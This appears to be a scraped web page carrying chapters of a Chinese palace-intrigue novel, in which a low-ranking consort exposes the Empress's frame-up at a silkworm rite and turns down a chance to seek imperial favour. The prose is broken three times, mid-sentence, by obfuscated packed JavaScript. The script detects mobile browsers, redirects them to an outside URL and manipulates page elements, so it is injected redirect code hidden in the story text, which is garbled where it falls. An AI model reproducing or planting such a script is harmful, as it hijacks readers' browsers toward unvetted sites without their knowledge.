林清芷快步上前,对着宸贵妃行了个标准的蹲礼,恭恭敬敬道:“嫔妾给宸贵妃娘娘请安,娘娘吉祥。娘娘谬赞了,嫔妾只是实话实说,不敢居功,都是娘娘平日里的提点,嫔妾才能不出差错。” 几人说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘娘您想,”林清芷条理清晰地说道,“第一,慎答应位份低微,住在储秀宫,离皇后的永寿宫最近,后宫里所有人都不会把她放在眼里,更不会防备她。她能听到很多我们听不到的消息,能看到很多我们看不到的动静,往后就是我们安在皇后眼皮子底下的眼睛。皇后那边有什么动作,我们能第一时间知道,这难道不是天大的用处吗?” “第二,慎答应无依无靠,无宠无出,在这后宫里,除了我们,没人会给她庇护。今日是我们拉了她一把,给了她活路,她会对娘娘死心塌地,绝无二心,绝不会像旁人那样,首鼠两端,两面讨好。比起那些家世好、心思多的人,这样的人,用着更放心。” “第三,”林清芷顿了顿,抬眼看向宸贵妃,语气里带着一丝深意,“娘娘如今和皇后分庭抗礼,正是需要拉拢人心的时候。我们收下慎答应,就等于告诉后宫里所有无依无靠的低位份妃嫔,只要真心归顺娘娘,娘娘就会给她们庇护,给她们活路。往后只会有更多的人来投奔娘娘,我们的阵营只会越来越壮大,皇后那边,只会越来越孤立。这难道不是好事吗?” 这番话,句句都说到了点子上,既说了慎答应的用处,又站在了宸贵妃的角度,考虑到了阵营的长远发展,挑不出半分错处。 宸贵妃愣了一下,看着跪在地上的林清芷,眼底的不满慢慢散去,取而代之的是欣赏。她原本以为,林清芷只是个有胆识、会说话的女子,却没想到,她还有这般长远的眼光,连拉拢人心、壮大势力都想得这么周全。 一旁的恪贵人金氏也放下了茶盏,笑着开口道:“娘娘,愉常在妹妹说得极是。慎答应虽然胆小,却胜在听话、不起眼,确实有可用之处。再说了,她主动来投,我们若是不收,反倒显得我们小气,寒了旁人的心。不如就收下她,让她归到愉常在妹妹名下,由愉常在妹妹管束,就算出了什么差错,也有愉常在妹妹盯着,出不了大乱子。” 贤嫔也连忙跟着开口:“是啊娘娘,愉常在妹妹说得对。慎答应妹妹也实在可怜,无依无靠的,我们就当是积德行善,给她一条活路。她若是能帮我们盯着皇后那边的动静,也是好事一件。” 见两人都帮着说话,宸贵妃心里也彻底想通了。她对着林清芷摆了摆手,笑着道:“好了,起来吧。你说的这些,都有道理,本宫就听你的。” 林清芷心里一喜,连忙磕了个头:“谢娘娘恩典!” “这件事,本宫准了。”宸贵妃缓缓道,“你回去告诉慎答应,往后她就是我们这边的人了,让她安分守己,好好当差,有本宫在,没人敢欺负她。她就归你管束,平日里有什么消息,让她先告诉你,你再禀报给本宫。若是她敢耍什么心眼,或是出了什么差错,本宫唯你是问,明白吗?” “嫔妾明白!嫔妾一定好好管束慎答应妹妹,绝不让她给娘娘惹麻烦,绝不让娘娘失望!”林清芷恭恭敬敬地应道,语气里满是感激。 宸贵妃笑着点了点头,让她起身坐下,又叮嘱了几句,让她往后有什么事,只管来咸福宫找她,不用有什么顾忌,显然是把她当成了心腹。林清芷一一应下,又陪着说了会儿话,见宸贵妃累了,便起身告退了。 从咸福宫出来的时候,夕阳已经西斜,橘红色的晚霞铺满了半边天,把紫禁城的红墙黄瓦都染成了暖金色。林清芷坐在轿子里,轻轻舒了口气,悬了一下午的心,终于落了地。 8. 龙抬头日,风险不断 永熙元年二月初二,龙抬头。 天还未亮透,紫禁城的晨雾还裹着料峭的寒意,永寿宫的正殿已经灯火通明。今日是皇家亲蚕礼的日子,按宸朝祖制,皇后需率后宫妃嫔祭祀先蚕嫘祖,与皇上在先农坛的亲耕礼两相呼应,昭告天下劝课农桑、重农务本的本心。恰逢先帝驾崩未满百日,国丧期内,仪式尽去奢华,只留核心规制,却也因此更容不得半分差错——稍有逾矩,便是对先帝大不敬、对先蚕不敬的死罪。 林清芷寅时便起身梳洗,依旧是一身素净的杭绸祭服,没有半分绣纹,发髻梳成规矩的圆鬓,只插了两支素银簪子,脸上素面朝天,连蛤蜊油都只敢用无香的。清禾正蹲在她身前,仔仔细细检查着祭服的袖口、衣摆,生怕有半分不妥:“主子,都检查过了,没有半点绣纹,也没有任何香气,绝对符合规制。今日不比往日,亲蚕礼是皇后娘娘主持,她本就恨您入骨,咱们半点把柄都不能留。” 林清芷看着铜镜里自己沉静的眉眼,指尖轻轻摩挲着袖口,眼底一片清明。她怎么会不知道?昨日咸福宫已经递了消息过来,皇后借着主持亲蚕礼的由头,早已把所有环节都攥在了手里,明摆着是要借着这场合,报之前奉先殿的一箭之仇,要么折了宸贵妃的锐气,要么就拿她这个宸贵妃阵营的红人开刀。 更别说,她身边还跟着刚入阵营的慎答应许氏。小姑娘昨夜特意过来,紧张得一夜没睡,此刻正站在一旁,手指紧紧攥着帕子,脸色发白,见林清芷看过来,连忙躬身道:“姐姐,嫔妾都按您说的准备好了,今日一定紧跟您,绝不多说一句话,不多看一眼,绝不会给您惹麻烦。” “别怕。”林清芷对着她温和地笑了笑,“只要守好规矩,不落下把柄,没人能随便挑出错处。记住,今日不管发生什么,都不要慌,看到什么、听到什么,回来告诉我就好。” 慎答应连忙重重点头,眼里的慌乱少了几分。 卯时正,林清芷带着两人,准时到了永寿宫正殿。殿内早已站满了人,清一色的素色祭服,按位份依次站好,鸦雀无声,连呼吸都放得极轻。 上首凤椅上,皇后沈氏端坐其上,一身明黄色的素凤祭服,头戴素银九尾凤簪,眉眼间满是中宫的威严与冷冽。她的目光扫过下方众人,最后落在林清芷身上,停留了片刻,嘴角勾起一抹冰冷的笑意,随即移开,落在了左侧首位的宸贵妃安氏身上。 宸贵妃一身石青色的祭服,身姿挺拔,脸上带着惯有的骄纵,哪怕面对皇后,也没有半分怯意。贤嫔江氏站在她身侧,怀里抱着五岁的大皇子萧景瑞——今日皇上亲耕,皇子需随行观礼,贤嫔也因此能带着孩子一同前往。恪贵人金氏站在贤嫔身侧,垂着眼,安安静静的,看到林清芷进来,抬眼对着她微微颔首,递了个警示的眼神。 右侧首位,懿妃白氏站着,一身湖蓝色的素服,眉眼温和,正低声叮嘱着身侧的淑嫔陈氏,惜常在池氏站在她身后,垂首站着,依旧是那副不掺和任何纷争的样子。 林清芷目不斜视,快步走到末位,对着上首的皇后、宸贵妃、懿妃依次行了蹲礼,恭恭敬敬道:“嫔妾给皇后娘娘请安,给宸贵妃娘娘请安,给懿妃娘娘请安。” 皇后冷冷地哼了一声,没接话,倒是宸贵妃对着她摆了摆手,语气带着几分熟稔:“来了就好,站定吧。今日的祭祀非同小可,都把眼睛放亮些,守好规矩,别给某些人留下挑错的把柄。” 这话明着是叮嘱,实则是怼皇后,殿内的气氛瞬间紧绷起来。皇后一拍桌案,厉声呵斥:“宸贵妃!这里是永寿宫,不是你的咸福宫!今日是亲蚕礼的吉时,你在这里煽风点火,是想冲撞了吉时,对先蚕大不敬吗?” “皇后娘娘说笑了。”宸贵妃嗤笑一声,“嫔妾只是叮嘱姐妹们守规矩,难道有错?倒是皇后娘娘,上来就疾言厉色,别是自己心里有鬼,怕出什么岔子吧?” “你!”皇后脸色瞬间铁青,正要发作,殿外的太监高声唱喏:“太后娘娘凤驾已到宫门——” 两人瞬间收了声,皇后整理了一下衣摆,率先快步迎了出去,众人紧随其后,到宫门口给太后请安。太后今日穿了一身深棕色的素缎祭服,头发梳得整整齐齐,只戴了一支素金簪子,脸上没什么表情,看着剑拔弩张的两人,淡淡道:“今日是祭祀先蚕的日子,以敬为先,都安分些,别闹得不像话,丢了皇家的脸面。” “臣妾谨遵母后教诲。”皇后和宸贵妃齐齐躬身应道,只是互相看对方的眼神里,依旧带着毫不掩饰的敌意。 众人跟着太后的凤驾,往太和门去。皇上萧敬轩早已等候在那里,一身明黄色的素龙祭服,头戴素金翼善冠,眉眼间满是帝王的冷硬与威仪。见太后过来,他连忙上前躬身行礼:“儿臣给母后请安。” “皇帝免礼。”太后扶了扶他的胳膊,温和道,“时辰差不多了,起驾吧。” 皇上点了点头,目光扫过跟在太后身后的众妃嫔,最后在林清芷身上停留了一瞬,眼底闪过一丝不易察觉的深意,又很快移开,沉声道:“起驾,前往先农坛、先蚕坛。” 浩荡的仪仗队缓缓驶出紫禁城,皇上率宗室、百官前往东侧的先农坛行亲耕礼,太后、皇后则率后宫妃嫔、宗室命妇,前往西侧京郊的先蚕坛。龙辇走在最前,宸贵妃的车驾紧随其后,离龙辇不过数步之遥。 刚出午门,皇后身边的掌事嬷嬷就快步走到宸贵妃的车驾旁,尖着嗓子道:“宸贵妃娘娘,皇后娘娘有令,国丧期内,仪仗需守尊卑礼制,您的车驾离皇上的龙辇太近,逾制了,请您退后十步。” 车帘内的宸贵妃瞬间怒了,一把掀开车帘,就要发火。林清芷的轿子就在她身后不远处,见状连忙让车夫加快脚步,凑到宸贵妃的车驾旁,压低声音道:“娘娘息怒!今日是祭祀的日子,国丧期内,若是在这里和皇后娘娘起了争执,落得个冲撞吉时、不敬先蚕的罪名,反倒中了她的圈套。不如暂且退后,等祭祀结束,再和她理论不迟。” 恪贵人也连忙跟着劝道:“愉常在妹妹说得对,娘娘,小不忍则乱大谋。皇后就是想激怒您,抓您的错处,您可不能上当。” 宸贵妃看着两人,深吸一口气,压下了心头的火气,对着那嬷嬷冷冷道:“知道了,回去告诉皇后,本宫遵令便是。” 说罢,放下车帘,让车夫放慢车速,退后了十步。皇后坐在凤辇里,听了嬷嬷的回话,嘴角的笑意瞬间冷了下去——她本想借着逾制的由头,罚宸贵妃禁足,没想到被林清芷一句话就化解了,心里对林清芷的恨意,又深了几分。 巳时末,车驾抵达先蚕坛。整座先蚕坛庄严肃穆,汉白玉的坛身素净无华,四周挂满了素白的幡幔,坛前的空地上,早已摆好了祭祀的礼器、素帛、祭品,没有半分奢华,却处处透着对先蚕的敬畏。 午时正,吉时到,司仪官高声唱喏,亲蚕礼正式开始。 祭祀环节繁琐而严苛,先是太后率皇后、众妃嫔迎神、上香,行三跪九叩的大礼;然后是皇后行初献礼、亚献礼、终献礼,代表后宫向先蚕献祭;最后,是众妃嫔按位份依次上前,敬献素帛,行跪拜礼。 整个过程肃穆到了极致,坛上除了司仪官的唱喏声,就只有跪拜时衣料摩擦的细碎声响,连风都仿佛停了下来,不敢惊扰了这份庄重。林清芷跟在恪贵人身后,一步一步,规规矩矩地按着仪程走,眼角的余光却时刻留意着四周的动静,尤其是皇后身边的人。 果然,到了众妃嫔集体敬献素帛的环节,意外发生了。 按规制,所有敬献的素帛都由内务府统一制作,素面无纹,统一盛放在檀木匣子里,由贤嫔负责看管——贤嫔是皇长子生母,按祖制有资格协助皇后打理祭祀礼器,皇后也正是借着这一点,布下了杀局。 贤嫔抱着檀木匣子,正要上前分发素帛,皇后身边的掌事嬷嬷突然上前,尖声道:“贤嫔娘娘且慢!皇后娘娘有令,祭祀素帛关乎礼制,需再查验一遍,免得有什么不妥,冲撞了先蚕神灵。” 贤嫔愣了一下,没多想,就把匣子递了过去。那嬷嬷接过匣子,打开来,拿出最上面的一卷素帛,展开给众人一看,瞬间变了脸色,厉声尖叫:“皇后娘娘!您快看!这素帛上竟然有暗绣的缠枝纹!国丧期内,禁用一切绣纹装饰,这是对先帝大不敬,对先蚕大不敬啊!” 这句话像一颗炸雷,在寂静的先蚕坛上炸开了。 所有人的目光都齐刷刷地落在了那卷素帛上,只见素白的帛布边角,果然绣着极细的暗纹缠枝,不仔细看根本发现不了,可在阳光下,却清晰可见。国丧期内,任何绣纹、装饰都是违制,更何况是祭祀先蚕、告慰先帝的祭器,这是足以掉脑袋的重罪。 皇后瞬间变了脸色,一拍身边的香案,厉声呵斥:“贤嫔!你好大的胆子!本宫让你看管祭祀素帛,你竟然敢用带绣纹的违制之物,来祭祀先蚕,告慰先帝!你眼里还有宫规礼法,还有先帝,还有先蚕神灵吗?!” 贤嫔的脸瞬间白得像纸,浑身都在发抖,“噗通”一声跪在地上,连连磕头,声音都在发颤:“皇后娘娘!不是臣妾!臣妾没有!这素帛是内务府统一送来的,臣妾一直好好看管着,从来没有动过!臣妾冤枉啊!” “冤枉?”皇后冷笑一声,目光扫过站在贤嫔身侧的林清芷,话锋一转,字字如刀,“本宫倒是忘了,昨日在永寿宫,是愉常在你,主动帮贤嫔一起核对祭品、看管素帛,对吧?这么说,这件事,你也有份?” 瞬间,所有的目光都落在了林清芷的身上,有看戏的,有幸灾乐祸的,有紧张的。太后端坐在上首,面无表情,没有开口,显然是想看看这件事要如何收场。 林清芷心里一凛,面上却依旧平静,快步出列,跪在地上,对着皇后恭恭敬敬地磕了个头,朗声道:“皇后娘娘明鉴,嫔妾昨日确实帮贤嫔娘娘核对过祭品,可嫔妾核对的时候,所有素帛都是素面无纹,绝无半分绣痕。这卷帛布,根本就不是昨日嫔妾核对过的那一批,是被人调换了!” “调换?”皇后嗤笑一声,“愉常在,你倒是会巧言令色!素帛一直放在贤嫔手里,除了她和你,谁能碰得到?难不成还是本宫调换的不成?人证物证俱在,你还敢狡辩!来人!把贤嫔和愉常在两个人,给本宫拿下,押回宫里严加审问!” 坛下的侍卫立刻上前,钢靴踩在汉白玉石板上,发出沉重的声响。 “谁敢动她们!”宸贵妃厉声呵斥,快步走到两人身前,挡住了侍卫,对着皇后冷冷道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344794|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“皇后娘娘,事情还没查清楚,你就急着拿人,未免太武断了吧?愉常在说得对,这素帛若是真的有问题,昨日核对的时候怎么没发现?偏偏到了敬献的时候才拿出来,谁知道是不是有人中途动了手脚,栽赃陷害?” “宸贵妃,你这是什么意思?”皇后脸色铁青,“你是说,是本宫栽赃陷害她们不成?” “嫔妾可没这么说。”宸贵妃冷笑一声,“只是皇后娘娘身边的这位嬷嬷,刚才是第一个碰素帛匣子的人,谁知道是不是她动了手脚?” “你胡说!”那嬷嬷瞬间慌了,连忙跪在地上,对着皇后磕头,“皇后娘娘,奴婢冤枉!奴婢绝没有动过手脚!” 就在两边僵持不下的时候,林清芷再次开口,声音平稳,条理清晰:“皇后娘娘,宸贵妃娘娘,都请息怒。嫔妾有办法证明,这卷素帛是被人调换过的。” 所有人的目光都落在了她的身上,皇后冷冷道:“哦?你有什么办法?若是说不出个所以然来,本宫连你一起治罪!” “回皇后娘娘的话。”林清芷恭恭敬敬地磕了个头,缓缓道,“昨日嫔妾帮贤嫔娘娘核对素帛的时候,怕出什么差错,特意在每一卷素帛的右下角,都用指甲掐了一个极浅的月牙印做记号,一共十二卷帛布,每一卷都有,绝不会错。皇后娘娘可以让人查验,这卷有绣纹的帛布上,有没有嫔妾做的记号。” 这句话一出,殿内瞬间安静了下来。贤嫔愣了一下,连忙点头:“是!是有这么回事!昨日愉常在妹妹特意做了记号,说怕有人动手脚,臣妾当时还没当回事,没想到……” 皇后的脸色瞬间变了,眼底闪过一丝慌乱。她怎么也没想到,林清芷竟然还留了这么一手。 太后终于开了口,淡淡道:“既然有记号,那就查验一下吧。” 立刻有司仪官上前,接过那卷有绣纹的帛布,仔仔细细地检查了一遍,又打开檀木匣子里剩下的十一卷帛布,一一核对,最后躬身回禀:“回太后娘娘,回皇后娘娘,剩下的十一卷素帛,右下角都有月牙形的指甲印,唯独这卷有绣纹的帛布上,没有任何记号。” 真相大白。 这卷帛布,果然是被人调换过的。 林清芷再次开口,声音里带着一丝冷意:“皇后娘娘,嫔妾还有一事要禀明。方才在查验祭品之前,嫔妾身边的慎答应,亲眼看到您身边的这位掌事嬷嬷,在祭祀开始前,单独进过存放祭品的偏殿,足足待了一刻钟才出来。除了贤嫔娘娘和嫔妾,只有她碰过盛放素帛的匣子,除了她,没人有机会调换素帛。” 慎答应吓得浑身发抖,却还是咬着牙,快步出列跪在地上,颤着声音道:“回、回太后娘娘,回皇后娘娘,嫔妾……嫔妾确实看到了。这位嬷嬷,在卯时三刻,进过偏殿,出来的时候,怀里藏着东西,嫔妾不敢撒谎。” 恪贵人也跟着上前,躬身道:“回太后娘娘,嫔妾也看到了。这位嬷嬷从偏殿出来之后,就一直守在盛放素帛的匣子旁,形迹十分可疑。” 人证物证俱在,容不得半点狡辩。 那嬷嬷瞬间瘫软在地上,脸色惨白,对着皇后连连磕头,话都说不出来了。皇后看着她,气得浑身发抖,却又不能保她——再保下去,就等于承认是自己指使的,只能咬着牙,厉声呵斥:“大胆贱婢!竟敢背着本宫,做出此等栽赃陷害、扰乱祭祀的大逆不道之事!来人!把她拖下去,杖责八十,打入辛者库,永世不得出宫!” 侍卫立刻上前,拖着瘫软的嬷嬷下去了,凄厉的哭喊声渐渐远去。 皇后深吸一口气,压下心头的火气,对着跪在地上的贤嫔和林清芷,冷冷道:“此事是本宫管教下人不严,让你们受了委屈,起来吧。” “谢皇后娘娘。”两人恭恭敬敬地磕了个头,起身退回了原位。 太后看着这一出闹剧,淡淡道:“好了,吉时快过了,继续祭祀吧。往后都安分些,再敢在祭祀大典上兴风作浪,哀家绝不轻饶。” “臣妾谨遵母后教诲。”众人齐齐躬身应道。 接下来的祭祀流程,顺顺利利地完成了,没有再出任何差错。采桑、喂蚕的环节,皇后也没再找茬,只是脸色一直铁青,看向林清芷的眼神里,满是毫不掩饰的恨意。 日落时分,祭祀仪式全部结束,众人移驾先蚕坛旁的斋宫,准备举行晚间的斋戒祭祀。按祖制,亲蚕礼结束后,需斋戒一日,焚香祭祀先蚕与先帝,以示诚心。 斋宫的偏殿里,宸贵妃拉着林清芷的手,笑得满脸得意:“好妹妹!今日你可真是立了大功!不仅拆穿了皇后的诡计,还狠狠打了她的脸,真是太解气了!本宫果然没看错你!” 贤嫔也红着眼眶,对着林清芷深深行了一礼:“愉常在妹妹,今日若不是你,姐姐怕是又要落个禁足的下场,这份恩情,姐姐这辈子都忘不掉!” 林清芷连忙侧身避开,温和道:“娘娘们太客气了,咱们都是一条船上的人,互相照应是应该的。只是今日这事过后,皇后娘娘定然不会善罢甘休,往后咱们更要谨言慎行,不能再给她留下把柄。” 宸贵妃满不在乎地摆了摆手:“怕什么?有本宫在,她还能吃了你不成?你今日立了功,本宫定然不会亏待你!” 9. 商议争宠,择人择日 永熙元年二月初三,亲蚕礼结束的第二日,京郊的晨雾还未散尽,咸福宫正殿的窗棂就已经透出了暖黄的灯光。 国丧期未满百日,宫里禁了一切宴饮丝竹,连各宫之间的走动都少了许多,可宸贵妃安氏还是借着商议祭祀后续事宜的由头,把阵营里的人都叫到了咸福宫。正殿里只点了两盏素纱宫灯,地龙烧得暖融融的,却压不住殿内隐隐的急切与紧绷。 上首的软榻上,宸贵妃端坐着,一身石青色的常服,头上只插了一支素银簪子,脸上没了往日的骄纵,多了几分凝重。她身侧,贤嫔江氏坐着,怀里抱着刚下了早课的大皇子萧景瑞,眉眼间依旧带着几分怯懦,却也藏着一丝难掩的焦虑。下首两侧,恪贵人金氏、愉常在林清芷、慎答应许氏依次坐着,个个敛声屏气,等着宸贵妃开口。 昨日亲蚕礼上的风波,早已传遍了整个后宫。林清芷临危不乱拆穿了皇后的栽赃,不仅保住了贤嫔,还在皇上跟前狠狠露了脸,得了皇上亲口赏赐的素银镯,连太后都私下夸了一句“沉稳懂事”。可这份风光的背后,是愈发剑拔弩张的局势——皇后折了心腹嬷嬷,丢了脸面,对宸贵妃阵营的恨意已经到了顶点,明眼人都看得出来,接下来只会有更狠的杀招。 “今日叫你们过来,也没别的事,就是想跟你们商量一件关乎我们所有人前程的大事。”宸贵妃率先开了口,声音压得很低,却带着十足的分量,“你们心里都清楚,皇后靠着中宫之位和嫡子,在后宫里稳如泰山,沈家在前朝又势大,我们想和她抗衡,光靠嘴皮子是没用的,得有实打实的依仗。” 她顿了顿,目光扫过众人,一字一句道:“皇上登基至今,还没有皇子出生。潜邸里的几个孩子,都是元启年间生的,算不得永熙朝的皇子。谁能生下皇上登基后的第一个皇子,谁就能在这后宫里站稳脚跟,哪怕是皇后,也不能轻易动她。这个孩子,不仅是我们对抗皇后的最大筹码,更是我们所有人未来的依仗。” 这句话一出,殿内瞬间安静了下来。 所有人都懂这句话的分量。宸朝祖制,立储“有嫡立嫡,无嫡立长”,皇后的嫡子萧景瑜虽然占了嫡出的名分,可若是能生下皇上登基后的第一个皇子,便是永熙朝元子,不仅皇上会高看一眼,在宗室和朝臣眼里,也有着非同一般的意义。更别说,有了皇子,就等于有了一辈子的依靠,哪怕将来失了圣宠,也能靠着皇子安身立命。 贤嫔抱着大皇子的手紧了紧,叹了口气道:“娘娘说的是。只是我已经有了景瑞,皇后本就把我当成眼中钉,若是再怀孕,怕是拼了命也要对我下手,我自己出事不要紧,怕的是连累景瑞,也连累了娘娘和大家。” 她说的是实话。她是皇长子生母,本就是皇后的重点打压对象,一举一动都被盯着,根本没有机会怀孕,就算怀上了,也很难护住。 宸贵妃点了点头,目光落在了林清芷身上,眼底带着毫不掩饰的期许,语气也温和了不少:“所以,我和恪贵人商量过了,这件事,最合适的人选,就是愉常在你。” 林清芷端着茶盏的手微微一顿,抬眼看向宸贵妃,眼底闪过一丝意料之中的平静。她早就料到,昨日在皇上面前露了脸,阵营里第一个想到的争宠人选,就是自己。 宸贵妃看着她,一条条细数着理由,句句都透着真心:“第一,昨日亲蚕礼,皇上刚夸了你,对你印象正深,这个时候你去皇上跟前,比旁人多了十倍的机会;第二,你聪慧沉稳,心思缜密,临危不乱,就算真的怀上了,也有本事护住自己和孩子,不像旁人那样,一遇事就慌了手脚;第三,你是我们阵营里的人,你生了孩子,就是给我们阵营添了最大的底气,我们所有人都会拼尽全力护着你,绝不会让皇后动你分毫。” 贤嫔连忙跟着点头,看着林清芷,眼里满是恳切:“愉常在妹妹,娘娘说得对。你是最合适的人选,昨日你救了我和景瑞,这份恩情我没齿难忘,若是你能怀上皇子,我拼了命也会护着你和孩子。” 慎答应也连忙起身,对着林清芷躬身道:“是啊姐姐,你是我们里面最聪慧的,只有你能担得起这件事。嫔妾虽然没用,可也会拼尽全力帮姐姐盯着皇后那边的动静,绝不让姐姐受委屈。” 所有人的目光都落在了林清芷身上,满是期许与恳切。换做后宫里任何一个低位份妃嫔,面对这样的机会,恐怕都会毫不犹豫地答应下来——这是一步登天的机会,是无数人求都求不来的荣宠。 可林清芷放下茶盏,缓缓起身,对着宸贵妃深深行了一礼,语气平静却带着不容置疑的坚定:“娘娘的厚爱,嫔妾没齿难忘。只是这件事,嫔妾不能答应,还请娘娘恕罪。” 这句话一出,殿内瞬间一片哗然。 贤嫔愣在了原地,慎答应更是惊得捂住了嘴,连大气都不敢出。宸贵妃脸上的笑意瞬间散去,眉头紧紧皱起,看着林清芷,语气里带着一丝不解与愠怒:“你说什么?愉常在,你知不知道你在说什么?这是多少人求都求不来的机会,你竟然拒绝?” “嫔妾知道。”林清芷依旧躬身站着,没有起身,语气不卑不亢,条理清晰地解释道,“嫔妾不是不识好歹,更不是不想为娘娘和阵营出力,恰恰是为了娘娘,为了我们整个阵营,嫔妾才不能答应这件事。” “哦?那你倒说说,有什么不能的?”宸贵妃冷冷道,压着心头的火气,示意她继续说。她虽然骄纵,却不是蛮不讲理的人,她知道林清芷不是任性妄为的人,拒绝定然有她的道理。 林清芷抬起头,迎上宸贵妃的目光,一字一句道:“娘娘,您想过没有,现在这个时候,嫔妾去争宠,到底是给阵营添助力,还是给阵营招祸?” 她伸出第一根手指,缓缓道:“第一,先帝百日祭还没到,国丧最严苛的禁令还没解除。按祖制,国丧百日之内,皇上不能临幸后宫,违制便是对先帝大不敬,是要被朝臣弹劾的。我们现在谋划争宠侍寝,一旦被皇后抓住把柄,不仅嫔妾要被治罪,娘娘您作为举荐之人,整个阵营都会被牵连,落得个‘蛊惑君上,罔顾孝道’的罪名。到时候,皇后不用费吹灰之力,就能把我们一网打尽,这笔账,怎么算都不划算。” 宸贵妃的眉头微微动了动,眼底的愠怒散去了几分。她只想着抢在皇后前面生下皇子,却忘了国丧期的这条铁律——百日之内,皇上绝不能临幸后宫,否则就是动摇国本的大罪。 林清芷伸出第二根手指,继续道:“第二,娘娘您想,嫔妾现在正是风口浪尖上。接连两次坏了皇后的好事,打了她的脸,皇后对嫔妾恨之入骨,整个后宫的眼睛都盯着嫔妾的一举一动。这个时候嫔妾去争宠,皇后一定会拼尽全力抓嫔妾的错处,哪怕是一点风吹草动,都会被她无限放大。别说侍寝怀孕,就算是在皇上面前多站一会儿,都会被她扣上‘媚主惑上’的帽子,到时候不仅嫔妾自身难保,还会连累娘娘和整个阵营。” “第三,”林清芷的语气愈发沉稳,“嫔妾位份低微,只是个小小的常在,就算真的侥幸避开了皇后的耳目,怀上了皇子,又能怎么样?常在的位份,连亲自抚养皇子的资格都没有,到时候皇后随便找个理由,就能把孩子抱走,或是直接除掉嫔妾,夺了孩子。我们费尽心机争来的机会,最后只会给别人做了嫁衣。更何况,嫔妾一旦怀孕,就成了明面上的靶子,皇后所有的手段都会冲着嫔妾来,我们根本防不胜防,反而浪费了这个千载难逢的机会。” 这番话,句句都戳在要害上,既表明了自己不是不想出力,而是处处为阵营的大局考虑,又把所有的风险都摆得明明白白,挑不出半分错处。 殿内再次安静了下来,所有人都低着头,细细琢磨着林清芷的话,越想越觉得有道理。贤嫔恍然大悟,拍了拍自己的额头道:“对啊!我怎么没想到这些?还是愉常在妹妹想得周全,是我太心急了,差点给妹妹和娘娘招了祸。” 恪贵人金氏也抬起头,看向林清芷,眼底闪过一丝欣赏,对着宸贵妃躬身道:“娘娘,愉常在妹妹说得极是。是我们之前考虑不周,只看到了机会,没看到背后的风险。国丧期内,确实不宜大张旗鼓地争宠,更何况愉常在妹妹现在正是皇后的眼中钉,确实不合适走到明面上。” 宸贵妃看着躬身站着的林清芷,心里的火气早已彻底散去,取而代之的是愧疚与欣赏。她原本以为林清芷是不识抬举,没想到她想得这么长远,这么周全,处处都在为阵营考虑。她叹了口气,起身扶起林清芷,温和道:“是本宫错怪你了,你说得对,是本宫太心急了,没考虑到这些风险。快起来吧,是本宫不好。” “娘娘言重了,嫔妾不敢当。”林清芷顺势起身,垂首站在一旁,依旧是那副恭谨沉稳的样子。 “可话虽如此,这个机会我们也不能白白放过。”宸贵妃重新坐回软榻上,眉头再次皱起,语气里带着一丝急切,“皇后那边肯定也在谋划,等百日祭一过,她一定会想方设法再怀嫡子,到时候我们就更难抗衡了。我们必须提前做好准备,抢在她前面,拿下这个永熙朝第一子的名分。既然愉常在不合适,那你们说,谁最合适?” 殿内再次陷入了沉默,众人互相看了看,都在心里掂量着人选。 就在这时,恪贵人金氏缓缓起身,对着宸贵妃躬身行了一礼,语气平静却带着十足的笃定:“娘娘,若是您信得过嫔妾,嫔妾愿意试一试。” 所有人的目光都落在了金氏身上,有惊讶,有了然。金氏一直是阵营里最低调的人,心思深沉,不声不响,却总能在关键时刻拿出主意,从来没出过半点差错。 宸贵妃愣了一下,随即眼底闪过一丝惊喜:“恪贵人,你愿意?” “是。”金氏点了点头,条理清晰地说道,“嫔妾有几个优势,刚好能避开愉常在妹妹说的那些风险。第一,嫔妾位份是贵人,比常在高,就算将来怀上了皇子,也有足够的位份护住孩子,不至于被人轻易拿捏;第二,嫔妾素来低调,在潜邸时就不爱出风头,入宫之后也没和皇后正面起过冲突,皇后对嫔妾的防备心,远不如对愉常在妹妹和贤嫔娘娘重,嫔妾的动静,不容易引起她的注意;第三,嫔妾和愉常在妹妹一样,心思缜密,凡事都能想得周全,就算真的遇到了什么事,也能稳住阵脚,不会轻易被皇后抓住把柄,更不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344795|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连累娘娘和阵营。” 她说得不卑不亢,没有半分邀功的意思,只是客观地陈述着自己的优势,句句都在点子上。 宸贵妃听得连连点头,脸上的愁云瞬间散去了大半。她太了解金氏了,这个女子看着温和,实则心思比谁都深,手段比谁都稳,若是她愿意出手,成功率绝对比旁人高得多。 “好!好!”宸贵妃笑着道,“有你这句话,本宫就放心了。恪贵人,你若是能成,本宫绝不会亏待你,将来你生下皇子,本宫一定在皇上面前为你请封,让你一步晋位嫔位,和贤嫔平起平坐!” “嫔妾谢娘娘恩典。”金氏恭恭敬敬地行了一礼,眼底闪过一丝不易察觉的光芒。她等这个机会,已经等了很久了。她和林清芷不一样,她想要圣宠,想要位份,想要自己的孩子,想要在这深宫里站稳脚跟,而不是永远做别人身后的影子。 